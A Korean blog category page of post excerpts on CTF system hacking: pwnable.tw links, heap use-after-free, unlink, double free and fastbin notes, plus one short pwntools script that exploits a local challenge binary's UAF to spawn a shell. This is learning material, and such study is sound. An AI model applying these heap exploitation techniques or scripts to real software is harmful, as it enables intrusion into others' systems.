시스템 해킹100 dubblesort https://github.com/sonysame/pwnable.tw_dubblesort 2019. 5. 22. hacknote https://github.com/sonysame/pwnable.tw_hacknote 2019. 5. 22. flag upx 패킹이 되어 있는 부분! upx 언팩을 하면 끝... 2018. 9. 3. how2heap-fastbin_dup_into_stack This file extends on fastbin_dup.c by tricking malloc intoreturning a pointer to a controlled location (in this case, the stack).The address we want malloc() to return is 0x7fff16112800.Allocating 3 buffers.1st malloc(8): 0x12d80102nd malloc(8): 0x12d80303rd malloc(8): 0x12d8050Freeing the first one...If we free 0x12d8010 again, things will crash because 0x12d8010 is at the top of the free list... 2018. 2. 18. chal2-heap uaf heap uaf- 구조가 딱 보아하니malloc->free->mallocUAF 구만! 풀어보니,, 너무 간단!ptr=v0이고, free(ptr)을 하기는 하지만, 다시 v2=malloc(0x14)가 이루어질 때,ptr=v0=v2가 된다.그래서 v2에 scanf를 받을 때! 0x4007d8을 줘서, 마지막에 ptr이 실행될때, scanf받은애가 실행되게 된다! 이때 0x4007d8부분에 system("/bin/sh")부분이 있다! from pwn import *sh=0x4007d8s=process('./chal2')#raw_input()print s.recv(1024)s.send("4196312\n")s.send("\x00\x00")print s.recv(1024)s.interactive()s.close() 2018. 2. 18. chal1-heap unlink heap unlink문제- 기존에 풀었던 chal1과는 다른 문제!heap문제이고 unlink는 직접 구현되어 있다. heap주소를 출력해줘서 릭 가능하다 힙에 쉘코드를 넣어놓고, puts의 got에 쉘코드의 주소를 넣어주면 된다! 근데, 여기서 문제는 unlink과정에서 주소가 덮어진다는 것이다! 1 prev_size size(0x21) data: 2의 주소 2 여기서부터 입력을 받아요!prev_size size data: 3의 주소 1의 주소3 prev_size size data: 0 2의 주소 2의 주소를 인자로 받는다! unlink에서!2의 데이터를 v1에(3의 주소)2의 데이터+8을 v2에(1의 주소) [v1+8] 2018. 2. 18. Double Free BUG unlink Double Free Bug는 free()함수가 수행되는 과정 중 unlink라는 매크로 에 의해 발생한다! 32비트FD+12->BK BK+8->FD 64비트FD+24->BKBK+16->FD unlink가 이루어지는 경우 1) free된 chunk가 다시 malloc되는 경우! bin리스트는 double linked list로 관리되는데(fast bin은 single linked list) double linked list중 중간에 있는 chunk가 나가게 되면 그 앞과 뒤를 다시 연결해주는 작업이 필요하다! 2) chunk의 사이즈가 증가하여 다른 bin리스트로 이동하는 경우! 어떤 chunk가 free되었을 때, 연속된 위치의 다른 chunk가 free되어 있다면 두 chunk를 합병하여 하나로 만들.. 2018. 2. 17. Heap Overflow Heap Overflow 버퍼 오버플로우의 힙 버전 힙 카나리(canary)는 존재하지 않음-보호해야할 리턴 주소가 없음 -객체나 구조체 데이터가 heap 영역에 존재하는 경우: 해당 영역을 컨트롤할 수 있고 이후에 해당 영역을 사용한다면 괜찮은 취약점 -함수포인터가 존재하는 구조체 데이터가 heap 영역에 존재하는 경우: 해당 포인터까지 덮어쓰는게 가능하고 이후에 이를 호출할 수 있다면 좋은 취약점 -Chunk header를 덮어쓸 수 있는 경우: unlink 과정에서 arbitrary write primitive 사용가능 -> 현재는 죽음 2018. 2. 17. Use After Free UAF Heap 영역에서 해제(free)된 영역을 재사용(reuse)하면서 발생하는 취약점 Heap 영역의 데이터를 가리키는 포인터가 해제되었지만 해당 영역을 가리키는 포인터(dangling pointer)가 재사용되는 취약점 웹 브라우저에서 많이 터짐 Dangling Pointer: A left over pointer in your code that references free'd data and is prone to be re-used 해제된 영역을 가리키고 있는 포인터! free된 메모리 영역은 bin에 들어감 First bin은 Unsorted Chunk List 형태로 cache 형태로 동작함 비슷한 크기의 할당(malloc)요청이 들어오면 bin에 있는거 재사용! Deferred Coalesc.. 2018. 2. 16. 이전 1 2 3 4 5 ··· 12 다음